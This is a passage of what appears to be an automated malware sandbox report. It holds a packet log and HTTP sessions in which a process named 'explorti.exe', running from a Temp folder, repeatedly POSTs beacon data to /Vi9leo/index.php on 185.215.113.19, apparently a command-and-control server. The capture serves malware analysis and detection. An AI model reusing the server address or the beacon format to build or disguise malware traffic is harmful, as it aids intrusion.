Jul 26, 2024 20:57:43.260380030 CEST	49771	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:43.265738010 CEST	80	49771	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:43.265830994 CEST	49771	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:43.265907049 CEST	80	49770	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:43.265912056 CEST	49771	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:43.265978098 CEST	49770	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:43.270901918 CEST	80	49771	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:44.040589094 CEST	80	49771	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:44.040738106 CEST	49771	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:44.041460991 CEST	49771	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:44.046363115 CEST	80	49771	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:44.293975115 CEST	80	49771	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:44.294116974 CEST	49771	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:44.400881052 CEST	49771	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:44.401192904 CEST	49772	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:44.408467054 CEST	80	49772	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:44.408569098 CEST	49772	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:44.408723116 CEST	49772	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:44.409157991 CEST	80	49771	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:44.409231901 CEST	49771	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:44.414477110 CEST	80	49772	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:45.182593107 CEST	80	49772	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:45.182758093 CEST	49772	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:45.183196068 CEST	49772	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:45.188075066 CEST	80	49772	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:45.435314894 CEST	80	49772	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:45.435492039 CEST	49772	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:45.541660070 CEST	49772	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:45.541966915 CEST	49773	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:45.552740097 CEST	80	49773	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:45.552855968 CEST	49773	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:45.553071022 CEST	49773	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:45.553236008 CEST	80	49772	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:45.553458929 CEST	49772	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:45.558290005 CEST	80	49773	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:46.296711922 CEST	80	49773	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:46.296801090 CEST	49773	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:46.299961090 CEST	49773	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:46.305066109 CEST	80	49773	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:46.545428991 CEST	80	49773	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:46.545537949 CEST	49773	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:46.666503906 CEST	49773	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:46.666771889 CEST	49774	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:46.678412914 CEST	80	49774	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:46.678607941 CEST	49774	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:46.678755045 CEST	49774	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:46.678834915 CEST	80	49773	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:46.678901911 CEST	49773	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:46.684429884 CEST	80	49774	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:47.433199883 CEST	80	49774	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:47.433331966 CEST	49774	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:47.434026003 CEST	49774	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:47.439429045 CEST	80	49774	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:47.682704926 CEST	80	49774	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:47.682817936 CEST	49774	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:47.792030096 CEST	49774	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:47.792452097 CEST	49775	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:47.801460028 CEST	80	49775	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:47.801578045 CEST	49775	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:47.801697016 CEST	49775	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:47.802865028 CEST	80	49774	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:47.802931070 CEST	49774	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:47.806962967 CEST	80	49775	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:48.583400011 CEST	80	49775	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:48.583568096 CEST	49775	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:48.584208965 CEST	49775	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:48.589143991 CEST	80	49775	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:48.903158903 CEST	80	49775	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:48.903280973 CEST	49775	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:49.012382984 CEST	49775	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:49.013725996 CEST	49776	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:49.021815062 CEST	80	49775	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:49.021994114 CEST	49775	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:49.022087097 CEST	80	49776	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:49.022161961 CEST	49776	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:49.022285938 CEST	49776	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:49.031611919 CEST	80	49776	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:49.840581894 CEST	80	49776	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:49.840755939 CEST	49776	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:49.842149973 CEST	49776	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:49.858196020 CEST	80	49776	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:50.104958057 CEST	80	49776	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:50.105051041 CEST	49776	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:50.213574886 CEST	49776	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:50.213843107 CEST	49777	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:50.238337994 CEST	80	49777	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:50.238440037 CEST	49777	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:50.238898039 CEST	49777	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:50.247942924 CEST	80	49777	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:50.249027967 CEST	80	49776	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:50.249149084 CEST	49776	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:51.019289017 CEST	80	49777	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:51.019474983 CEST	49777	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:51.020160913 CEST	49777	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:51.025377035 CEST	80	49777	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:51.281037092 CEST	80	49777	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:51.281124115 CEST	49777	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:51.385236979 CEST	49777	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:51.385607004 CEST	49778	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:51.391376972 CEST	80	49777	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:51.391422987 CEST	80	49778	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:51.391462088 CEST	49777	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:51.391494989 CEST	49778	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:51.391597986 CEST	49778	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:51.397454023 CEST	80	49778	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:52.171596050 CEST	80	49778	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:52.171931982 CEST	49778	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:52.173181057 CEST	49778	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:52.178577900 CEST	80	49778	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:52.422719002 CEST	80	49778	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:52.422823906 CEST	49778	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:52.529957056 CEST	49778	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:52.530746937 CEST	49779	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:52.535897017 CEST	80	49778	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:52.536081076 CEST	49778	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:52.537003994 CEST	80	49779	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:52.537090063 CEST	49779	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:52.537200928 CEST	49779	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:52.542746067 CEST	80	49779	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:53.285434961 CEST	80	49779	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:53.285543919 CEST	49779	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:53.286292076 CEST	49779	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:53.291502953 CEST	80	49779	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:53.532587051 CEST	80	49779	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:53.532655001 CEST	49779	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:53.635262966 CEST	49779	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:53.635550022 CEST	49780	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:53.640664101 CEST	80	49780	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:53.640784025 CEST	49780	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:53.640933990 CEST	49780	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:53.641211987 CEST	80	49779	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:53.641275883 CEST	49779	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:53.646014929 CEST	80	49780	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:54.403614998 CEST	80	49780	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:54.403719902 CEST	49780	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:54.404536963 CEST	49780	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:54.410067081 CEST	80	49780	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:54.655740976 CEST	80	49780	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:54.655844927 CEST	49780	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:54.760237932 CEST	49780	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:54.760632992 CEST	49781	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:54.765971899 CEST	80	49781	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:54.766076088 CEST	49781	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:54.766233921 CEST	49781	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:54.768366098 CEST	80	49780	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:54.768435955 CEST	49780	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:54.771996975 CEST	80	49781	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:55.547815084 CEST	80	49781	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:55.547908068 CEST	49781	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:55.549182892 CEST	49781	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:55.554208040 CEST	80	49781	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:55.959820032 CEST	80	49781	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:55.960056067 CEST	49781	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:56.073225975 CEST	49781	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:56.073565006 CEST	49782	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:56.078772068 CEST	80	49782	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:56.078856945 CEST	49782	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:56.079212904 CEST	49782	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:56.079528093 CEST	80	49781	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:56.079579115 CEST	49781	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:56.084055901 CEST	80	49782	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:56.872687101 CEST	80	49782	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:56.872807980 CEST	49782	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:56.883215904 CEST	49782	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:56.888601065 CEST	80	49782	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:57.163477898 CEST	80	49782	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:57.163578987 CEST	49782	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:57.278182030 CEST	49782	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:57.278558969 CEST	49783	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:57.285231113 CEST	80	49783	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:57.285320044 CEST	49783	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:57.285527945 CEST	49783	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:57.285938978 CEST	80	49782	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:57.285998106 CEST	49782	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:57.291819096 CEST	80	49783	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:58.180763006 CEST	80	49783	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:58.180838108 CEST	49783	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:58.182615042 CEST	49783	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:58.187510014 CEST	80	49783	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:58.434827089 CEST	80	49783	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:58.435033083 CEST	49783	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:58.542243958 CEST	49783	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:58.542510986 CEST	49784	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:58.550719976 CEST	80	49784	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:58.550817966 CEST	49784	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:58.550977945 CEST	49784	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:58.553066969 CEST	80	49783	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:58.553136110 CEST	49783	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:58.556021929 CEST	80	49784	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:59.303210974 CEST	80	49784	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:59.303313971 CEST	49784	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:59.304164886 CEST	49784	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:59.309039116 CEST	80	49784	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:59.551167011 CEST	80	49784	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:59.551243067 CEST	49784	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:59.729748011 CEST	49784	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:59.730448008 CEST	49785	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:59.735599041 CEST	80	49785	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:59.735721111 CEST	80	49784	185.215.113.19	192.168.2.4
Jul 26, 2024 20:57:59.735843897 CEST	49784	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:59.735872030 CEST	49785	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:59.736005068 CEST	49785	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:57:59.740926981 CEST	80	49785	185.215.113.19	192.168.2.4
Jul 26, 2024 20:58:00.504157066 CEST	80	49785	185.215.113.19	192.168.2.4
Jul 26, 2024 20:58:00.507572889 CEST	49785	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:58:00.508196115 CEST	49785	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:58:00.513479948 CEST	80	49785	185.215.113.19	192.168.2.4
Jul 26, 2024 20:58:00.757834911 CEST	80	49785	185.215.113.19	192.168.2.4
Jul 26, 2024 20:58:00.758008003 CEST	49785	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:58:00.869946003 CEST	49785	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:58:00.870238066 CEST	49786	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:58:00.875145912 CEST	80	49786	185.215.113.19	192.168.2.4
Jul 26, 2024 20:58:00.875232935 CEST	49786	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:58:00.875314951 CEST	49786	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:58:00.875504017 CEST	80	49785	185.215.113.19	192.168.2.4
Jul 26, 2024 20:58:00.875657082 CEST	49785	80	192.168.2.4	185.215.113.19
Jul 26, 2024 20:58:00.880131960 CEST	80	49786	185.215.113.19	192.168.2.4
Jul 26, 2024 20:58:01.802970886 CEST	80	49786	185.215.113.19	192.168.2.4
Jul 26, 2024 20:58:01.803076982 CEST	49786	80	192.168.2.4	185.215.113.19

HTTP Request Dependency Graph

185.215.113.19

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:02.821043968 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:03.606364965 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:03.608504057 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:03.861641884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:03.985050917 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:04.743524075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:04.744437933 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:04.996643066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:05.117528915 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:05.905831099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:05.907996893 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:06.160979986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:06.281061888 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:07.061556101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:07.062403917 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:07.310533047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:07.437958956 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
